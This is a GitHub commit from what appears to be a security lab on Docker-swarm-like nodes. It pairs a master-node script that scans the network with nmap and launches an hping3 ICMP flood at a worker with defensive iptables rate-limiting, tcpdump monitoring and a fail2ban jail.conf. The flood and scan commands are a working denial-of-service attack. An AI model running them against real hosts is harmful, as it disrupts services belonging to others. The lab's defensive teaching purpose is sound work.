PanagiotisKlironomos
4 years ago
committed by
GitHub
18 changed files with 1352 additions and 0 deletions
@ -0,0 +1,17 @@ |
|||
DDos_Worker_Node |
|||
|
|||
|
|||
|
|||
[![asciicast](https://asciinema.org/a/385070.svg)](https://asciinema.org/a/385070) |
|||
|
|||
|
|||
|
|||
|
|||
|
|||
|
|||
DDos_Master_Node |
|||
|
|||
|
|||
|
|||
|
|||
[![asciicast](https://asciinema.org/a/385069.svg)](https://asciinema.org/a/385069) |
@ -0,0 +1,15 @@ |
|||
#update and upgrade the master node |
|||
# so we can install hping3 |
|||
sudo apt update |
|||
sudo apt upgrade -y |
|||
sudo apt install hping3 -y |
|||
#extracting the network information with ifconfig and inet commands |
|||
#and make it usable for the nmap command (etc. 192.168.1.*) |
|||
network=$(ifconfig | grep inet | sed -n 1p | awk "{print \$2}" | cut -f 1-3 -d "." | sed 's/$/.*/') |
|||
clear |
|||
echo "Swarm network is " $network |
|||
# scanning network with nmap and extracting worker_1 IP |
|||
worker1IP=$(nmap -sP $network | grep worker_1 | awk '{print $NF}' | tr -d '()') |
|||
# Ddos attack to worker_1 with syn flood at port 80 and icmp protocol |
|||
echo "Starting DDos attack to worker 1 with the IP address: " $worker1IP |
|||
sudo hping3 -p 80 --flood --icmp $worker1IP |
@ -0,0 +1,30 @@ |
|||
#update and upgrade the master node |
|||
# so we can install tcpdump |
|||
sudo apt update |
|||
sudo apt upgrade -y |
|||
sudo apt install tcpdump -y |
|||
#extracting worker1IP with ifconfig and inet commands |
|||
worker1IP=$(ifconfig | grep inet | sed -n 1p | awk "{print \$2}" ) |
|||
clear |
|||
# reseting IP tables from past configurations |
|||
sudo iptables -F |
|||
# Listening to packets with tcpdump for 5 seconds |
|||
# We listen to ICMP replies so we can listen after the firewall |
|||
echo "Listening to ICMP replies from worker1 for 2 seconds" |
|||
sleep 2s |
|||
sudo timeout 2s tcpdump -i eth0 icmp and src $worker1IP |
|||
sleep 2s |
|||
#Applying Ip Tables Rules |
|||
# We are setting a limit to icmp incoming packets to 1 per second |
|||
echo "Applying Ip Tables Rules" |
|||
sleep 2s |
|||
sudo iptables -N icmp_flood |
|||
sudo iptables -A INPUT -p icmp -j icmp_flood |
|||
sudo iptables -A icmp_flood -m limit --limit 1/s --limit-burst 3 -j RETURN |
|||
sudo iptables -A icmp_flood -j DROP |
|||
# Listening to packets with tcpdump for 5 seconds |
|||
# We listen to ICMP replies so we can listen after the firewall |
|||
echo "Listening to ICMP replies from worker1 for 5 seconds" |
|||
sleep 2s |
|||
sudo timeout 5s tcpdump -i eth0 icmp and src $worker1IP |
|||
echo "Spot any difference?" |
@ -0,0 +1,16 @@ |
|||
Ssh_Brute_Master_Node |
|||
|
|||
[![asciicast](https://asciinema.org/a/385074.svg)](https://asciinema.org/a/385074) |
|||
|
|||
|
|||
|
|||
Ssh_Brute_Worker_Node |
|||
|
|||
[![asciicast](https://asciinema.org/a/385075.svg)](https://asciinema.org/a/385075) |
|||
|
|||
|
|||
|
|||
|
|||
Ssh_KeyEnable_Master_Node |
|||
|
|||
[![asciicast](https://asciinema.org/a/385077.svg)](https://asciinema.org/a/385077) |
@ -0,0 +1,893 @@ |
|||
# |
|||
# WARNING: heavily refactored in 0.9.0 release. Please review and |
|||
# customize settings for your setup. |
|||
# |
|||
# Changes: in most of the cases you should not modify this |
|||
# file, but provide customizations in jail.local file, |
|||
# or separate .conf files under jail.d/ directory, e.g.: |
|||
# |
|||
# HOW TO ACTIVATE JAILS: |
|||
# |
|||
# YOU SHOULD NOT MODIFY THIS FILE. |
|||
# |
|||
# It will probably be overwritten or improved in a distribution update. |
|||
# |
|||
# Provide customizations in a jail.local file or a jail.d/customisation.local. |
|||
# For example to change the default bantime for all jails and to enable the |
|||
# ssh-iptables jail the following (uncommented) would appear in the .local file. |
|||
# See man 5 jail.conf for details. |
|||
# |
|||
# [DEFAULT] |
|||
# bantime = 1h |
|||
# |
|||
# [sshd] |
|||
# enabled = true |
|||
# |
|||
# See jail.conf(5) man page for more information |
|||
|
|||
|
|||
|
|||
# Comments: use '#' for comment lines and ';' (following a space) for inline comments |
|||
|
|||
|
|||
[INCLUDES] |
|||
|
|||
#before = paths-distro.conf |
|||
before = paths-debian.conf |
|||
|
|||
# The DEFAULT allows a global definition of the options. They can be overridden |
|||
# in each jail afterwards. |
|||
|
|||
[DEFAULT] |
|||
|
|||
# |
|||
# MISCELLANEOUS OPTIONS |
|||
# |
|||
|
|||
# "ignorself" specifies whether the local resp. own IP addresses should be ignored |
|||
# (default is true). Fail2ban will not ban a host which matches such addresses. |
|||
#ignorself = true |
|||
|
|||
# "ignoreip" can be a list of IP addresses, CIDR masks or DNS hosts. Fail2ban |
|||
# will not ban a host which matches an address in this list. Several addresses |
|||
# can be defined using space (and/or comma) separator. |
|||
#ignoreip = 127.0.0.1/8 ::1 172.19.0.3 |
|||
|
|||
# External command that will take an tagged arguments to ignore, e.g. <ip>, |
|||
# and return true if the IP is to be ignored. False otherwise. |
|||
# |
|||
# ignorecommand = /path/to/command <ip> |
|||
ignorecommand = |
|||
|
|||
# "bantime" is the number of seconds that a host is banned. |
|||
bantime = 1m |
|||
|
|||
# A host is banned if it has generated "maxretry" during the last "findtime" |
|||
# seconds. |
|||
findtime = 10m |
|||
|
|||
# "maxretry" is the number of failures before a host get banned. |
|||
maxretry = 3 |
|||
|
|||
# "backend" specifies the backend used to get files modification. |
|||
# Available options are "pyinotify", "gamin", "polling", "systemd" and "auto". |
|||
# This option can be overridden in each jail as well. |
|||
# |
|||
# pyinotify: requires pyinotify (a file alteration monitor) to be installed. |
|||
# If pyinotify is not installed, Fail2ban will use auto. |
|||
# gamin: requires Gamin (a file alteration monitor) to be installed. |
|||
# If Gamin is not installed, Fail2ban will use auto. |
|||
# polling: uses a polling algorithm which does not require external libraries. |
|||
# systemd: uses systemd python library to access the systemd journal. |
|||
# Specifying "logpath" is not valid for this backend. |
|||
# See "journalmatch" in the jails associated filter config |
|||
# auto: will try to use the following backends, in order: |
|||
# pyinotify, gamin, polling. |
|||
# |
|||
# Note: if systemd backend is chosen as the default but you enable a jail |
|||
# for which logs are present only in its own log files, specify some other |
|||
# backend for that jail (e.g. polling) and provide empty value for |
|||
# journalmatch. See https://github.com/fail2ban/fail2ban/issues/959#issuecomment-74901200 |
|||
backend = auto |
|||
|
|||
# "usedns" specifies if jails should trust hostnames in logs, |
|||
# warn when DNS lookups are performed, or ignore all hostnames in logs |
|||
# |
|||
# yes: if a hostname is encountered, a DNS lookup will be performed. |
|||
# warn: if a hostname is encountered, a DNS lookup will be performed, |
|||
# but it will be logged as a warning. |
|||
# no: if a hostname is encountered, will not be used for banning, |
|||
# but it will be logged as info. |
|||
# raw: use raw value (no hostname), allow use it for no-host filters/actions (example user) |
|||
usedns = warn |
|||
|
|||
# "logencoding" specifies the encoding of the log files handled by the jail |
|||
# This is used to decode the lines from the log file. |
|||
# Typical examples: "ascii", "utf-8" |
|||
# |
|||
# auto: will use the system locale setting |
|||
logencoding = auto |
|||
|
|||
# "enabled" enables the jails. |
|||
# By default all jails are disabled, and it should stay this way. |
|||
# Enable only relevant to your setup jails in your .local or jail.d/*.conf |
|||
# |
|||
# true: jail will be enabled and log files will get monitored for changes |
|||
# false: jail is not enabled |
|||
enabled = false |
|||
|
|||
|
|||
# "mode" defines the mode of the filter (see corresponding filter implementation for more info). |
|||
mode = ddos |
|||
|
|||
# "filter" defines the filter to use by the jail. |
|||
# By default jails have names matching their filter name |
|||
# |
|||
filter = %(__name__)s[mode=%(mode)s] |
|||
|
|||
|
|||
# |
|||
# ACTIONS |
|||
# |
|||
|
|||
# Some options used for actions |
|||
|
|||
# Destination email address used solely for the interpolations in |
|||
# jail.{conf,local,d/*} configuration files. |
|||
destemail = root@localhost |
|||
|
|||
# Sender email address used solely for some actions |
|||
sender = root@<fq-hostname> |
|||
|
|||
# E-mail action. Since 0.8.1 Fail2Ban uses sendmail MTA for the |
|||
# mailing. Change mta configuration parameter to mail if you want to |
|||
# revert to conventional 'mail'. |
|||
mta = sendmail |
|||
|
|||
# Default protocol |
|||
protocol = tcp |
|||
|
|||
# Specify chain where jumps would need to be added in ban-actions expecting parameter chain |
|||
chain = <known/chain> |
|||
|
|||
# Ports to be banned |
|||
# Usually should be overridden in a particular jail |
|||
port = 0:65535 |
|||
|
|||
# Format of user-agent https://tools.ietf.org/html/rfc7231#section-5.5.3 |
|||
fail2ban_agent = Fail2Ban/%(fail2ban_version)s |
|||
|
|||
# |
|||
# Action shortcuts. To be used to define action parameter |
|||
|
|||
# Default banning action (e.g. iptables, iptables-new, |
|||
# iptables-multiport, shorewall, etc) It is used to define |
|||
# action_* variables. Can be overridden globally or per |
|||
# section within jail.local file |
|||
banaction = iptables-multiport |
|||
banaction_allports = iptables-allports |
|||
|
|||
# The simplest action to take: ban only |
|||
action_ = %(banaction)s[name=%(__name__)s, bantime="%(bantime)s", port="%(port)s", protocol="%(protocol)s", chain="%(chain)s"] |
|||
|
|||
# ban & send an e-mail with whois report to the destemail. |
|||
action_mw = %(banaction)s[name=%(__name__)s, bantime="%(bantime)s", port="%(port)s", protocol="%(protocol)s", chain="%(chain)s"] |
|||
%(mta)s-whois[name=%(__name__)s, sender="%(sender)s", dest="%(destemail)s", protocol="%(protocol)s", chain="%(chain)s"] |
|||
|
|||
# ban & send an e-mail with whois report and relevant log lines |
|||
# to the destemail. |
|||
action_mwl = %(banaction)s[name=%(__name__)s, bantime="%(bantime)s", port="%(port)s", protocol="%(protocol)s", chain="%(chain)s"] |
|||
%(mta)s-whois-lines[name=%(__name__)s, sender="%(sender)s", dest="%(destemail)s", logpath=%(logpath)s, chain="%(chain)s"] |
|||
|
|||
# See the IMPORTANT note in action.d/xarf-login-attack for when to use this action |
|||
# |
|||
# ban & send a xarf e-mail to abuse contact of IP address and include relevant log lines |
|||
# to the destemail. |
|||
action_xarf = %(banaction)s[name=%(__name__)s, bantime="%(bantime)s", port="%(port)s", protocol="%(protocol)s", chain="%(chain)s"] |
|||
xarf-login-attack[service=%(__name__)s, sender="%(sender)s", logpath=%(logpath)s, port="%(port)s"] |
|||
|
|||
# ban IP on CloudFlare & send an e-mail with whois report and relevant log lines |
|||
# to the destemail. |
|||
action_cf_mwl = cloudflare[cfuser="%(cfemail)s", cftoken="%(cfapikey)s"] |
|||
%(mta)s-whois-lines[name=%(__name__)s, sender="%(sender)s", dest="%(destemail)s", logpath=%(logpath)s, chain="%(chain)s"] |
|||
|
|||
# Report block via blocklist.de fail2ban reporting service API |
|||
# |
|||
# See the IMPORTANT note in action.d/blocklist_de.conf for when to use this action. |
|||
# Specify expected parameters in file action.d/blocklist_de.local or if the interpolation |
|||
# `action_blocklist_de` used for the action, set value of `blocklist_de_apikey` |
|||
# in your `jail.local` globally (section [DEFAULT]) or per specific jail section (resp. in |
|||
# corresponding jail.d/my-jail.local file). |
|||
# |
|||
action_blocklist_de = blocklist_de[email="%(sender)s", service=%(filter)s, apikey="%(blocklist_de_apikey)s", agent="%(fail2ban_agent)s"] |
|||
|
|||
# Report ban via badips.com, and use as blacklist |
|||
# |
|||
# See BadIPsAction docstring in config/action.d/badips.py for |
|||
# documentation for this action. |
|||
# |
|||
# NOTE: This action relies on banaction being present on start and therefore |
|||
# should be last action defined for a jail. |
|||
# |
|||
action_badips = badips.py[category="%(__name__)s", banaction="%(banaction)s", agent="%(fail2ban_agent)s"] |
|||
# |
|||
# Report ban via badips.com (uses action.d/badips.conf for reporting only) |
|||
# |
|||
action_badips_report = badips[category="%(__name__)s", agent="%(fail2ban_agent)s"] |
|||
|
|||
# Report ban via abuseipdb.com. |
|||
# |
|||
# See action.d/abuseipdb.conf for usage example and details. |
|||
# |
|||
action_abuseipdb = abuseipdb |
|||
|
|||
# Choose default action. To change, just override value of 'action' with the |
|||
# interpolation to the chosen action shortcut (e.g. action_mw, action_mwl, etc) in jail.local |
|||
# globally (section [DEFAULT]) or per specific section |
|||
action = %(action_)s |
|||
|
|||
|
|||
# |
|||
# JAILS |
|||
# |
|||
|
|||
# |
|||
# SSH servers |
|||
# |
|||
|
|||
[sshd] |
|||
enabled = true |
|||
|
|||
# To use more aggressive sshd modes set filter parameter "mode" in jail.local: |
|||
# normal (default), ddos, extra or aggressive (combines all). |
|||
# See "tests/files/logs/sshd" or "filter.d/sshd.conf" for usage example and details. |
|||
#mode = ddos |
|||
banaction = iptables-allports |
|||
port = 26522 |
|||
filter = sshd |
|||
logpath = /var/log/auth.log |
|||
backend = %(sshd_backend)s |
|||
|
|||
|
|||
[dropbear] |
|||
|
|||
port = ssh |
|||
logpath = %(dropbear_log)s |
|||
backend = %(dropbear_backend)s |
|||
|
|||
|
|||
[selinux-ssh] |
|||
|
|||
port = ssh |
|||
logpath = %(auditd_log)s |
|||
|
|||
|
|||
# |
|||
# HTTP servers |
|||
# |
|||
|
|||
[apache-auth] |
|||
|
|||
port = http,https |
|||
logpath = %(apache_error_log)s |
|||
|
|||
|
|||
[apache-badbots] |
|||
# Ban hosts which agent identifies spammer robots crawling the web |
|||
# for email addresses. The mail outputs are buffered. |
|||
port = http,https |
|||
logpath = %(apache_access_log)s |
|||
bantime = 48h |
|||
maxretry = 1 |
|||
|
|||
|
|||
[apache-noscript] |
|||
|
|||
port = http,https |
|||
logpath = %(apache_error_log)s |
|||
|
|||
|
|||
[apache-overflows] |
|||
|
|||
port = http,https |
|||
logpath = %(apache_error_log)s |
|||
maxretry = 2 |
|||
|
|||
|
|||
[apache-nohome] |
|||
|
|||
port = http,https |
|||
logpath = %(apache_error_log)s |
|||
maxretry = 2 |
|||
|
|||
|
|||
[apache-botsearch] |
|||
|
|||
port = http,https |
|||
logpath = %(apache_error_log)s |
|||
maxretry = 2 |
|||
|
|||
|
|||
[apache-fakegooglebot] |
|||
|
|||
port = http,https |
|||
logpath = %(apache_access_log)s |
|||
maxretry = 1 |
|||
ignorecommand = %(ignorecommands_dir)s/apache-fakegooglebot <ip> |
|||
|
|||
|
|||
[apache-modsecurity] |
|||
|
|||
port = http,https |
|||
logpath = %(apache_error_log)s |
|||
maxretry = 2 |
|||
|
|||
|
|||
[apache-shellshock] |
|||
|
|||
port = http,https |
|||
logpath = %(apache_error_log)s |
|||
maxretry = 1 |
|||
|
|||
|
|||
[openhab-auth] |
|||
|
|||
filter = openhab |
|||
action = iptables-allports[name=NoAuthFailures] |
|||
logpath = /opt/openhab/logs/request.log |
|||
|
|||
|
|||
[nginx-http-auth] |
|||
|
|||
port = http,https |
|||
logpath = %(nginx_error_log)s |
|||
|
|||
# To use 'nginx-limit-req' jail you should have `ngx_http_limit_req_module` |
|||
# and define `limit_req` and `limit_req_zone` as described in nginx documentation |
|||
# http://nginx.org/en/docs/http/ngx_http_limit_req_module.html |
|||
# or for example see in 'config/filter.d/nginx-limit-req.conf' |
|||
[nginx-limit-req] |
|||
port = http,https |
|||
logpath = %(nginx_error_log)s |
|||
|
|||
[nginx-botsearch] |
|||
|
|||
port = http,https |
|||
logpath = %(nginx_error_log)s |
|||
maxretry = 2 |
|||
|
|||
|
|||
# Ban attackers that try to use PHP's URL-fopen() functionality |
|||
# through GET/POST variables. - Experimental, with more than a year |
|||
# of usage in production environments. |
|||
|
|||
[php-url-fopen] |
|||
|
|||
port = http,https |
|||
logpath = %(nginx_access_log)s |
|||
%(apache_access_log)s |
|||
|
|||
|
|||
[suhosin] |
|||
|
|||
port = http,https |
|||
logpath = %(suhosin_log)s |
|||
|
|||
|
|||
[lighttpd-auth] |
|||
# Same as above for Apache's mod_auth |
|||
# It catches wrong authentifications |
|||
port = http,https |
|||
logpath = %(lighttpd_error_log)s |
|||
|
|||
|
|||
# |
|||
# Webmail and groupware servers |
|||
# |
|||
|
|||
[roundcube-auth] |
|||
|
|||
port = http,https |
|||
logpath = %(roundcube_errors_log)s |
|||
# Use following line in your jail.local if roundcube logs to journal. |
|||
#backend = %(syslog_backend)s |
|||
|
|||
|
|||
[openwebmail] |
|||
|
|||
port = http,https |
|||
logpath = /var/log/openwebmail.log |
|||
|
|||
|
|||
[horde] |
|||
|
|||
port = http,https |
|||
logpath = /var/log/horde/horde.log |
|||
|
|||
|
|||
[groupoffice] |
|||
|
|||
port = http,https |
|||
logpath = /home/groupoffice/log/info.log |
|||
|
|||
|
|||
[sogo-auth] |
|||
# Monitor SOGo groupware server |
|||
# without proxy this would be: |
|||
# port = 20000 |
|||
port = http,https |
|||
logpath = /var/log/sogo/sogo.log |
|||
|
|||
|
|||
[tine20] |
|||
|
|||
logpath = /var/log/tine20/tine20.log |
|||
port = http,https |
|||
|
|||
|
|||
# |
|||
# Web Applications |
|||
# |
|||
# |
|||
|
|||
[drupal-auth] |
|||
|
|||
port = http,https |
|||
logpath = %(syslog_daemon)s |
|||
backend = %(syslog_backend)s |
|||
|
|||
[guacamole] |
|||
|
|||
port = http,https |
|||
logpath = /var/log/tomcat*/catalina.out |
|||
|
|||
[monit] |
|||
#Ban clients brute-forcing the monit gui login |
|||
port = 2812 |
|||
logpath = /var/log/monit |
|||
|
|||
|
|||
[webmin-auth] |
|||
|
|||
port = 10000 |
|||
logpath = %(syslog_authpriv)s |
|||
backend = %(syslog_backend)s |
|||
|
|||
|
|||
[froxlor-auth] |
|||
|
|||
port = http,https |
|||
logpath = %(syslog_authpriv)s |
|||
backend = %(syslog_backend)s |
|||
|
|||
|
|||
# |
|||
# HTTP Proxy servers |
|||
# |
|||
# |
|||
|
|||
[squid] |
|||
|
|||
port = 80,443,3128,8080 |
|||
logpath = /var/log/squid/access.log |
|||
|
|||
|
|||
[3proxy] |
|||
|
|||
port = 3128 |
|||
logpath = /var/log/3proxy.log |
|||
|
|||
|
|||
# |
|||
# FTP servers |
|||
# |
|||
|
|||
|
|||
[proftpd] |
|||
|
|||
port = ftp,ftp-data,ftps,ftps-data |
|||
logpath = %(proftpd_log)s |
|||
backend = %(proftpd_backend)s |
|||
|
|||
|
|||
[pure-ftpd] |
|||
|
|||
port = ftp,ftp-data,ftps,ftps-data |
|||
logpath = %(pureftpd_log)s |
|||
backend = %(pureftpd_backend)s |
|||
|
|||
|
|||
[gssftpd] |
|||
|
|||
port = ftp,ftp-data,ftps,ftps-data |
|||
logpath = %(syslog_daemon)s |
|||
backend = %(syslog_backend)s |
|||
|
|||
|
|||
[wuftpd] |
|||
|
|||
port = ftp,ftp-data,ftps,ftps-data |
|||
logpath = %(wuftpd_log)s |
|||
backend = %(wuftpd_backend)s |
|||
|
|||
|
|||
[vsftpd] |
|||
# or overwrite it in jails.local to be |
|||
# logpath = %(syslog_authpriv)s |
|||
# if you want to rely on PAM failed login attempts |
|||
# vsftpd's failregex should match both of those formats |
|||
port = ftp,ftp-data,ftps,ftps-data |
|||
logpath = %(vsftpd_log)s |
|||
|
|||
|
|||
# |
|||
# Mail servers |
|||
# |
|||
|
|||
# ASSP SMTP Proxy Jail |
|||
[assp] |
|||
|
|||
port = smtp,465,submission |
|||
logpath = /root/path/to/assp/logs/maillog.txt |
|||
|
|||
|
|||
[courier-smtp] |
|||
|
|||
port = smtp,465,submission |
|||
logpath = %(syslog_mail)s |
|||
backend = %(syslog_backend)s |
|||
|
|||
|
|||
[postfix] |
|||
# To use another modes set filter parameter "mode" in jail.local: |
|||
mode = more |
|||
port = smtp,465,submission |
|||
logpath = %(postfix_log)s |
|||
backend = %(postfix_backend)s |
|||
|
|||
|
|||
[postfix-rbl] |
|||
|
|||
filter = postfix[mode=rbl] |
|||
port = smtp,465,submission |
|||
logpath = %(postfix_log)s |
|||
backend = %(postfix_backend)s |
|||
maxretry = 1 |
|||
|
|||
|
|||
[sendmail-auth] |
|||
|
|||
port = submission,465,smtp |
|||
logpath = %(syslog_mail)s |
|||
backend = %(syslog_backend)s |
|||
|
|||
|
|||
[sendmail-reject] |
|||
# To use more aggressive modes set filter parameter "mode" in jail.local: |
|||
# normal (default), extra or aggressive |
|||
# See "tests/files/logs/sendmail-reject" or "filter.d/sendmail-reject.conf" for usage example and details. |
|||
#mode = normal |
|||
port = smtp,465,submission |
|||
logpath = %(syslog_mail)s |
|||
backend = %(syslog_backend)s |
|||
|
|||
|
|||
[qmail-rbl] |
|||
|
|||
filter = qmail |
|||
port = smtp,465,submission |
|||
logpath = /service/qmail/log/main/current |
|||
|
|||
|
|||
# dovecot defaults to logging to the mail syslog facility |
|||
# but can be set by syslog_facility in the dovecot configuration. |
|||
[dovecot] |
|||
|
|||
port = pop3,pop3s,imap,imaps,submission,465,sieve |
|||
logpath = %(dovecot_log)s |
|||
backend = %(dovecot_backend)s |
|||
|
|||
|
|||
[sieve] |
|||
|
|||
port = smtp,465,submission |
|||
logpath = %(dovecot_log)s |
|||
backend = %(dovecot_backend)s |
|||
|
|||
|
|||
[solid-pop3d] |
|||
|
|||
port = pop3,pop3s |
|||
logpath = %(solidpop3d_log)s |
|||
|
|||
|
|||
[exim] |
|||
# see filter.d/exim.conf for further modes supported from filter: |
|||
#mode = normal |
|||
port = smtp,465,submission |
|||
logpath = %(exim_main_log)s |
|||
|
|||
|
|||
[exim-spam] |
|||
|
|||
port = smtp,465,submission |
|||
logpath = %(exim_main_log)s |
|||
|
|||
|
|||
[kerio] |
|||
|
|||
port = imap,smtp,imaps,465 |
|||
logpath = /opt/kerio/mailserver/store/logs/security.log |
|||
|
|||
|
|||
# |
|||
# Mail servers authenticators: might be used for smtp,ftp,imap servers, so |
|||
# all relevant ports get banned |
|||
# |
|||
|
|||
[courier-auth] |
|||
|
|||
port = smtp,465,submission,imap,imaps,pop3,pop3s |
|||
logpath = %(syslog_mail)s |
|||
backend = %(syslog_backend)s |
|||
|
|||
|
|||
[postfix-sasl] |
|||
|
|||
filter = postfix[mode=auth] |
|||
port = smtp,465,submission,imap,imaps,pop3,pop3s |
|||
# You might consider monitoring /var/log/mail.warn instead if you are |
|||
# running postfix since it would provide the same log lines at the |
|||
# "warn" level but overall at the smaller filesize. |
|||
logpath = %(postfix_log)s |
|||
backend = %(postfix_backend)s |
|||
|
|||
|
|||
[perdition] |
|||
|
|||
port = imap,imaps,pop3,pop3s |
|||
logpath = %(syslog_mail)s |
|||
backend = %(syslog_backend)s |
|||
|
|||
|
|||
[squirrelmail] |
|||
|
|||
port = smtp,465,submission,imap,imap2,imaps,pop3,pop3s,http,https,socks |
|||
logpath = /var/lib/squirrelmail/prefs/squirrelmail_access_log |
|||
|
|||
|
|||
[cyrus-imap] |
|||
|
|||
port = imap,imaps |
|||
logpath = %(syslog_mail)s |
|||
backend = %(syslog_backend)s |
|||
|
|||
|
|||
[uwimap-auth] |
|||
|
|||
port = imap,imaps |
|||
logpath = %(syslog_mail)s |
|||
backend = %(syslog_backend)s |
|||
|
|||
|
|||
# |
|||
# |
|||
# DNS servers |
|||
# |
|||
|
|||
|
|||
# !!! WARNING !!! |
|||
# Since UDP is connection-less protocol, spoofing of IP and imitation |
|||
# of illegal actions is way too simple. Thus enabling of this filter |
|||
# might provide an easy way for implementing a DoS against a chosen |
|||
# victim. See |
|||
# http://nion.modprobe.de/blog/archives/690-fail2ban-+-dns-fail.html |
|||
# Please DO NOT USE this jail unless you know what you are doing. |
|||
# |
|||
# IMPORTANT: see filter.d/named-refused for instructions to enable logging |
|||
# This jail blocks UDP traffic for DNS requests. |
|||
# [named-refused-udp] |
|||
# |
|||
# filter = named-refused |
|||
# port = domain,953 |
|||
# protocol = udp |
|||
# logpath = /var/log/named/security.log |
|||
|
|||
# IMPORTANT: see filter.d/named-refused for instructions to enable logging |
|||
# This jail blocks TCP traffic for DNS requests. |
|||
|
|||
[named-refused] |
|||
|
|||
port = domain,953 |
|||
logpath = /var/log/named/security.log |
|||
|
|||
|
|||
[nsd] |
|||
|
|||
port = 53 |
|||
action = %(banaction)s[name=%(__name__)s-tcp, port="%(port)s", protocol="tcp", chain="%(chain)s", actname=%(banaction)s-tcp] |
|||
%(banaction)s[name=%(__name__)s-udp, port="%(port)s", protocol="udp", chain="%(chain)s", actname=%(banaction)s-udp] |
|||
logpath = /var/log/nsd.log |
|||
|
|||
|
|||
# |
|||
# Miscellaneous |
|||
# |
|||
|
|||
[asterisk] |
|||
|
|||
port = 5060,5061 |
|||
action = %(banaction)s[name=%(__name__)s-tcp, port="%(port)s", protocol="tcp", chain="%(chain)s", actname=%(banaction)s-tcp] |
|||
%(banaction)s[name=%(__name__)s-udp, port="%(port)s", protocol="udp", chain="%(chain)s", actname=%(banaction)s-udp] |
|||
%(mta)s-whois[name=%(__name__)s, dest="%(destemail)s"] |
|||
logpath = /var/log/asterisk/messages |
|||
maxretry = 10 |
|||
|
|||
|
|||
[freeswitch] |
|||
|
|||
port = 5060,5061 |
|||
action = %(banaction)s[name=%(__name__)s-tcp, port="%(port)s", protocol="tcp", chain="%(chain)s", actname=%(banaction)s-tcp] |
|||
%(banaction)s[name=%(__name__)s-udp, port="%(port)s", protocol="udp", chain="%(chain)s", actname=%(banaction)s-udp] |
|||
%(mta)s-whois[name=%(__name__)s, dest="%(destemail)s"] |
|||
logpath = /var/log/freeswitch.log |
|||
maxretry = 10 |
|||
|
|||
|
|||
# To log wrong MySQL access attempts add to /etc/my.cnf in [mysqld] or |
|||
# equivalent section: |
|||
# log-warning = 2 |
|||
# |
|||
# for syslog (daemon facility) |
|||
# [mysqld_safe] |
|||
# syslog |
|||
# |
|||
# for own logfile |
|||
# [mysqld] |
|||
# log-error=/var/log/mysqld.log |
|||
[mysqld-auth] |
|||
|
|||
port = 3306 |
|||
logpath = %(mysql_log)s |
|||
backend = %(mysql_backend)s |
|||
|
|||
|
|||
# Log wrong MongoDB auth (for details see filter 'filter.d/mongodb-auth.conf') |
|||
[mongodb-auth] |
|||
# change port when running with "--shardsvr" or "--configsvr" runtime operation |
|||
port = 27017 |
|||
logpath = /var/log/mongodb/mongodb.log |
|||
|
|||
|
|||
# Jail for more extended banning of persistent abusers |
|||
# !!! WARNINGS !!! |
|||
# 1. Make sure that your loglevel specified in fail2ban.conf/.local |
|||
# is not at DEBUG level -- which might then cause fail2ban to fall into |
|||
# an infinite loop constantly feeding itself with non-informative lines |
|||
# 2. Increase dbpurgeage defined in fail2ban.conf to e.g. 648000 (7.5 days) |
|||
# to maintain entries for failed logins for sufficient amount of time |
|||
[recidive] |
|||
|
|||
logpath = /var/log/fail2ban.log |
|||
banaction = %(banaction_allports)s |
|||
bantime = 1w |
|||
findtime = 1d |
|||
|
|||
|
|||
# Generic filter for PAM. Has to be used with action which bans all |
|||
# ports such as iptables-allports, shorewall |
|||
|
|||
[pam-generic] |
|||
# pam-generic filter can be customized to monitor specific subset of 'tty's |
|||
banaction = %(banaction_allports)s |
|||
logpath = %(syslog_authpriv)s |
|||
backend = %(syslog_backend)s |
|||
|
|||
|
|||
[xinetd-fail] |
|||
|
|||
banaction = iptables-multiport-log |
|||
logpath = %(syslog_daemon)s |
|||
backend = %(syslog_backend)s |
|||
maxretry = 2 |
|||
|
|||
|
|||
# stunnel - need to set port for this |
|||
[stunnel] |
|||
|
|||
logpath = /var/log/stunnel4/stunnel.log |
|||
|
|||
|
|||
[ejabberd-auth] |
|||
|
|||
port = 5222 |
|||
logpath = /var/log/ejabberd/ejabberd.log |
|||
|
|||
|
|||
[counter-strike] |
|||
|
|||
logpath = /opt/cstrike/logs/L[0-9]*.log |
|||
# Firewall: http://www.cstrike-planet.com/faq/6 |
|||
tcpport = 27030,27031,27032,27033,27034,27035,27036,27037,27038,27039 |
|||
udpport = 1200,27000,27001,27002,27003,27004,27005,27006,27007,27008,27009,27010,27011,27012,27013,27014,27015 |
|||
action = %(banaction)s[name=%(__name__)s-tcp, port="%(tcpport)s", protocol="tcp", chain="%(chain)s", actname=%(banaction)s-tcp] |
|||
%(banaction)s[name=%(__name__)s-udp, port="%(udpport)s", protocol="udp", chain="%(chain)s", actname=%(banaction)s-udp] |
|||
|
|||
# consider low maxretry and a long bantime |
|||
# nobody except your own Nagios server should ever probe nrpe |
|||
[nagios] |
|||
|
|||
logpath = %(syslog_daemon)s ; nrpe.cfg may define a different log_facility |
|||
backend = %(syslog_backend)s |
|||
maxretry = 1 |
|||
|
|||
|
|||
[oracleims] |
|||
# see "oracleims" filter file for configuration requirement for Oracle IMS v6 and above |
|||
logpath = /opt/sun/comms/messaging64/log/mail.log_current |
|||
banaction = %(banaction_allports)s |
|||
|
|||
[directadmin] |
|||
logpath = /var/log/directadmin/login.log |
|||
port = 2222 |
|||
|
|||
[portsentry] |
|||
logpath = /var/lib/portsentry/portsentry.history |
|||
maxretry = 1 |
|||
|
|||
[pass2allow-ftp] |
|||
# this pass2allow example allows FTP traffic after successful HTTP authentication |
|||
port = ftp,ftp-data,ftps,ftps-data |
|||
# knocking_url variable must be overridden to some secret value in jail.local |
|||
knocking_url = /knocking/ |
|||
filter = apache-pass[knocking_url="%(knocking_url)s"] |
|||
# access log of the website with HTTP auth |
|||
logpath = %(apache_access_log)s |
|||
blocktype = RETURN |
|||
returntype = DROP |
|||
action = %(action_)s[blocktype=%(blocktype)s, returntype=%(returntype)s] |
|||
bantime = 1h |
|||
maxretry = 1 |
|||
findtime = 1 |
|||
|
|||
|
|||
[murmur] |
|||
# AKA mumble-server |
|||
port = 64738 |
|||
action = %(banaction)s[name=%(__name__)s-tcp, port="%(port)s", protocol=tcp, chain="%(chain)s", actname=%(banaction)s-tcp] |
|||
%(banaction)s[name=%(__name__)s-udp, port="%(port)s", protocol=udp, chain="%(chain)s", actname=%(banaction)s-udp] |
|||
logpath = /var/log/mumble-server/mumble-server.log |
|||
|
|||
|
|||
[screensharingd] |
|||
# For Mac OS Screen Sharing Service (VNC) |
|||
logpath = /var/log/system.log |
|||
logencoding = utf-8 |
|||
|
|||
[haproxy-http-auth] |
|||
# HAProxy by default doesn't log to file you'll need to set it up to forward |
|||
